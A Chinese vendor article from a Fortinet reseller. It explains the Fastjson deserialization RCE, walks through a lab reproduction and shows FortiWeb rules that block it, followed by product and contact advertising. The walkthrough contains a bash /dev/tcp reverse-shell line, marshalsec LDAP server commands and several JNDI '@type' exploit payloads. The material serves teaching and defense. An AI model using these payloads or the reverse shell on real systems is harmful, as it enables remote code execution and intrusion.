全站搜索
资讯详情
Fortinet防特网 威胁研究 | Fastjson 最新反序列化漏洞复现与防御指南 科汇科技 飞塔企业级安全产品 分销商
作者:管理员    发布于:2021-07-20 14:20:49    文字:【】【】【
01

漏洞的原理



FastJson漏洞原理


通过Fastjson反序列化漏洞,攻击者可以传入一个恶意构造的JSON内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行。

那么,如何才能够反序列化出恶意类呢?

例如代码写Object o = JSON.parseObject(poc,Object.class)就可以反序列化出Object类或其任意子类,而Object又是任意类的父类,所以就可以反序列化出所有类。

接着,如何才能触发反序列化得到的恶意类中的恶意函数呢?

在某些情况下进行反序列化时会将反序列化得到的类的构造函数、getter方法、setter方法执行一遍,如果这三种方法中存在危险操作,则可能导致反序列化漏洞的存在。换句话说,就是攻击者传入要进行反序列化的类中的构造函数、getter方法、setter方法中要存在漏洞才能触发。


漏洞原理总结


    若反序列化指定类型的类如“Student obj = JSON.parseObject(text, Student.class);”,该类本身的构造函数、setter方法、getter方法存在危险操作,则存在Fastjson反序列化漏洞;

    若反序列化未指定类型的类如“Object obj = JSON.parseObject(text, Object.class);”,该若该类的子类的构造方法、setter方法、getter方法存在危险操作,则存在Fastjson反序列化漏洞。


POC写法


一般的,Fastjson反序列化漏洞的PoC写法如下,@type指定了反序列化得到的类:



关键是要找出一个特殊的在目标环境中已存在的类,满足如下两个条件:

    该类的构造函数、setter方法、getter方法中的某一个存在危险操作,比如造成命令执行;

    可以控制该漏洞函数的变量(一般就是该类的属性)。


02

漏洞环境搭建



攻击拓扑介绍


fastjson漏洞环境:Debian10+Tomcat 8.5
攻击环境:Kali 2020   开启ldap服务、Web服务、Netcat(接收反弹shell)


环境验证


Tomcat环境运行成功如下图所示:


Fastjson运行成功如下图所示:


03

漏洞POC复现



编译Shell文件


1、编写Shell.java文件,反弹shell地址写入到Rutime.getRuntime().exec中
替换自己对应的IP地址:

"/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/{IP}/1234 0>&1"



2.编译Shell.java ---> Shell.class

root@kali:~/Downloads/Fastjson1.2.47# javac shell.java

搭建简易HTTP服务器


python -m SimpleHTTPServer 9000 (需要安装Python)
开启Web服务,端口9000,访问正常跳出页面。


搭建LDAP服务器


监听LDAP,命令如下:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.98.30:9000/#shell 4000

说明:

1、通过已编译好的Marshalsec工具快速开启LDAP或者RMI服务

2、/#shell 代表HTTP站点目录下必须有Shell.class文件,并调用该文件
3、设置监听端口为4000

开启NC监听


开启Netcat监听1234端口(必须同3.1中一致)。

图片


构建Payload


反弹验证成功


可以正常反弹shell,并获得交互式tty。


注意事项


1、推荐使用LDAP监听的方式来做漏洞利用,由于JDK版本修复,推荐使用8u181前的版本:

    RMI协议的利用方式在JDK 6u132/7u122/8u113 及以上版本中已修复;

    LDAP协议的利用方式在JDK 6u211/7u201/8u191 及以上版本中已修复。

2、Javac编译失败的话,大部分原因是由于同JDK版本差异太大导致,建议相同版本。

3、记得开放防火墙需要用到的端口。
4、本次漏洞环境中对应的JDK版本信息如下:


04

Fortinet FortiWeb Web应用防火墙对该漏洞的防护



对于反序列化攻击的防护


针对反序列化攻击,我们可以查看下往年其他版本的Fastjson的payload:
 
fastjson<=1.2.43 RCE
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}
fastjson<=1.2.45 RCE
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}
fastjson<=1.2.47 RCE
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://x.x.x.x:1098/jndi",
"autoCommit": true
… …

结论:

@type 必须有;

ldap://,rmi://,二选一;
对于请求参数中含有getRuntime().exec()的,一律拦截。

FortiWeb防护策略开启


由于Fortiweb已经内置了针对FastJson的攻击特征,只需要开启“Know Exploits”即可。
 
拦截成功


再次发起攻击,Fortiweb可以正常拦截攻击,并记录对应的攻击行为存储于日志中。

05

Fastjson<1.2.68的漏洞防护


 

漏洞Payload


在FastJsson 1.2.68 环境中,通过AutoType绕过,构造反序列化POC,达到任意命令执行、敏感信息泄露等威胁。

测试POC:

Fortiweb攻击阻断


通过自定义攻击特征库,匹配拦截。


显示对应的攻击日志及攻击详情。

IT解决方案:

下一代防火墙部署场景:化繁为简、加密云接入、可视化与自动化、默认FortiEDR和FortiXDR保护会自动检测并拦截本文中描述的攻击,且无需进行其他更新
以更低的复杂性提供业内首屈一指的威胁防护和性能、网络与安全的融合、集成安全架构、多重检查引擎、统一控制管理、高级威胁防御、内置反病毒引擎、终端测的安全防护、全自动威胁检测、全自动威胁调查、全自动威胁响应

飞塔防火墙服务:应用控制、Web过滤、反病毒、FortiCloud 沙箱、入侵防御、病毒爆发防护服务、内容消除与重建、IP 信誉和反僵尸网络

品类:零信任网络访问(ZTNA)、下一代防火墙、FortiClient终端安全、FortiManager集中管理平台 、 FortiAuthenticator身份管理平台、HPC基础架构、雾计算基础架构、网络安全生态系统、集成式安全方法、入侵防御系统、网络访问控制、智能边缘、自动化安全架构、恶意设备检测、端点检测、高级威胁检测、事件分析溯源

方案适用机型:

机框设备:FortiGate 7060E 、FortiGate 7040E 、FortiGate 7030E 、FortiGate 5001E
超高端设备:FortiGate 6300F\6301F\6500F\6501F
高端设备:FortiGate 3980E、FortiGate 3960E 、FortiGate 3800D 、FortiGate 3700DFortiGate 3600E 、FortiGate 3400E、FortiGate 3200D、FortiGate 3100D 、FortiGate 3000D 、FortiGate 2500E、FortiGate 2000E、FortiGate 1500D 、FortiGate 1200D 、FortiGate 1000D
中端设备:FortiGate 900D 、FortiGate 800D 、FortiGate 600E、FortiGate 500E 、FortiGate 400E 、FortiGate 300E、FortiGate 200E 、FortiGate 100E
入门级设备:FortiGate 80E、FortiGate 60E、FortiGate 50E、FortiGate 30E 、FortiGate 60D – Rugged
Virtual Machines:FortiGate-VM00 、FortiGate-VM01, -VM01V 、FortiGate-VM02, -VM02V、FortiGate-VM04, -VM04V 、FortiGate-VM08, -VM08V 、FortiGate-VM16, -VM16V 、FortiGate-VM32, -VM32V 、FortiGate-VMUL, -VMULV

专有型号/系列:FortiOS 7.0、Fortinet SASE、FortiXDR

服务区域:

四川 飞塔 Fortinet:成都 飞塔 Fortinet、绵阳 飞塔 Fortinet、自贡 飞塔 Fortinet、攀枝花 飞塔 Fortinet、泸州 飞塔 Fortinet、德阳 飞塔 Fortinet、

广元 飞塔 Fortinet、遂宁 飞塔 Fortinet、内江飞塔 Fortinet、乐山 飞塔 Fortinet、资阳 飞塔 Fortinet、宜宾 飞塔 Fortinet、南充 飞塔 Fortinet、

达州 飞塔 Fortinet、雅安 飞塔 Fortinet、阿坝藏族羌族自治州飞塔 Fortinet、凉山彝族自治州 飞塔 Fortinet、广安 飞塔 Fortinet、巴中 飞塔 Fortinet、眉山 飞塔 Fortinet

重庆 飞塔 Fortinet

贵州飞塔 Fortinet:贵阳飞塔 Fortinet、遵义飞塔 Fortinet、铜仁飞塔 Fortinet、安顺飞塔 Fortinet、毕节飞塔 Fortinet 、六盘水飞塔 Fortinet、黔南州飞塔 Fortinet、黔西南州飞塔 Fortinet 、黔东南州飞塔 Fortinet

云南飞塔 Fortinet:昆明飞塔 Fortinet 、曲靖飞塔 Fortinet 、玉溪飞塔 Fortinet 、昭通飞塔 Fortinet 、临沧飞塔 Fortinet 、保山飞塔 Fortinet 、

丽江飞塔 Fortinet 、普洱飞塔 Fortinet、红河哈尼飞塔 Fortinet、德宏飞塔 Fortinet、楚雄飞塔 Fortinet 、文山飞塔 Fortinet 、

西双版纳飞塔 Fortinet 、怒江飞塔 Fortinet

西藏自治区飞塔 Fortinet:拉萨飞塔 Fortinet、昌都飞塔 Fortinet、林芝飞塔 Fortinet、山南飞塔 Fortinet、日喀则飞塔 Fortinet、那曲飞塔 Fortinet、阿里飞塔 Fortinet

飞塔自身关键词:

飞塔防火墙,飞塔官网,飞塔公司,fortigate防火墙,飞塔防火墙配置

飞塔相关关键词

网络安全,安全SD-WAN,Fortinet FortiGate-VM,Fortinet,VPN保护,Web过滤,

网络分段,网络微分段,物联网平台保护

 

 

更多机型和方案请咨询

成都科汇科技有限公司 — 专业安全服务商。

无论您的IT架构是 本地化、云端、还是混和云 都能提供一站式安全方案。

地址:四川省成都市人民南路四段一号时代数码大厦18F

电话咨询热线:400-028-1235

QQ:132 5383 361

手机:180 8195 0517(微信同号 )